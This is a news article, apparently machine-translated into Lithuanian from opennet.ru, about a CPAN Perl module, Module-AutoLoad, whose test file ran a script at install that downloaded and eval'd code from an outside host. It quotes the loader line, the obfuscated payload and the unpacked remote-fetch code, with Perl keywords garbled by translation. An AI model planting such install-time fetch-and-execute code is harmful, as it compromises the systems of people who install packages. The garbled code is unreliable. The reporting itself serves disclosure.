Module-AutoLoad Perl pakete aptiktas kenkėjiškas kodas

Perl pakete, platinamame per CPAN katalogą Modulis-AutoLoad, skirtas automatiškai įkelti CPAN modulius skrydžio metu, nustatyta kenkėjiškas kodas. Kenkėjiškas įdėklas buvo rasta testo kode 05_rcx.t, kuris siunčiamas nuo 2011 m.
Pastebėtina, kad iškilo klausimų apie abejotino kodo įkėlimą Stackoverflow dar 2016 m.

Kenkėjiška veikla susiveda į bandymą atsisiųsti ir vykdyti kodą iš trečiosios šalies serverio (http://r.cx:1/) vykdant testų rinkinį, paleidžiamą diegiant modulį. Daroma prielaida, kad iš pradžių iš išorinio serverio atsisiųstas kodas nebuvo kenkėjiškas, tačiau dabar užklausa nukreipiama į domeną ww.limera1n.com, kuris pateikia savo kodo dalį vykdyti.

Norėdami sutvarkyti atsisiuntimą į failą 05_rcx.t Naudojamas toks kodas:

mano $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
mano $bandymas = `$^X $prog`;

Nurodytas kodas sukelia scenarijaus vykdymą ../contrib/RCX.pl, kurio turinys sumažintas iki eilutės:

naudokite lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″};

Šis scenarijus įkeliamas sutrikęs naudojantis paslauga perlobfuscator.com kodą iš išorinio pagrindinio kompiuterio r.cx (simbolių kodai 82.46.99.88 atitinka tekstą „R.cX“) ir vykdo jį eval bloke.

$ perl -MIO::Socket -e'$b=naujas IO::Socket::INET 82.46.99.88.":1″; spausdinti <$b>;'
eval Unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Išpakavus galiausiai įvykdoma: kodas:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GAUTI /iJailBreak
";evalor return warn$@while$b;1

Probleminis paketas dabar pašalintas iš saugyklos. PAUZĖ (Perl Authors Upload Server), o modulio autoriaus paskyra užblokuota. Šiuo atveju modulis vis tiek išlieka prieinama MetaCPAN archyve ir gali būti tiesiogiai įdiegtas iš MetaCPAN naudojant kai kurias priemones, pvz., cpanminus. Pažymimakad paketas nebuvo plačiai išplatintas.

Įdomu diskutuoti prijungtas ir modulio autorius, kuris paneigė informaciją, kad po to, kai buvo įsilaužta į jo svetainę „r.cx“, buvo įdėtas kenkėjiškas kodas ir paaiškino, kad jis tiesiog linksminosi, ir pasinaudojo perlobfuscator.com ne tam, kad kažką nuslėptų, o sumažintų dydį. kodą ir supaprastinti jo kopijavimą per mainų sritį. Funkcijos pavadinimo „botstrap“ pasirinkimas paaiškinamas tuo, kad šis žodis „skamba kaip bot ir yra trumpesnis nei bootstrap“. Modulio autorius taip pat patikino, kad nustatytos manipuliacijos neatlieka kenkėjiškų veiksmų, o tik demonstruoja kodo įkėlimą ir vykdymą per TCP.

Šaltinis: opennet.ru

Добавить комментарий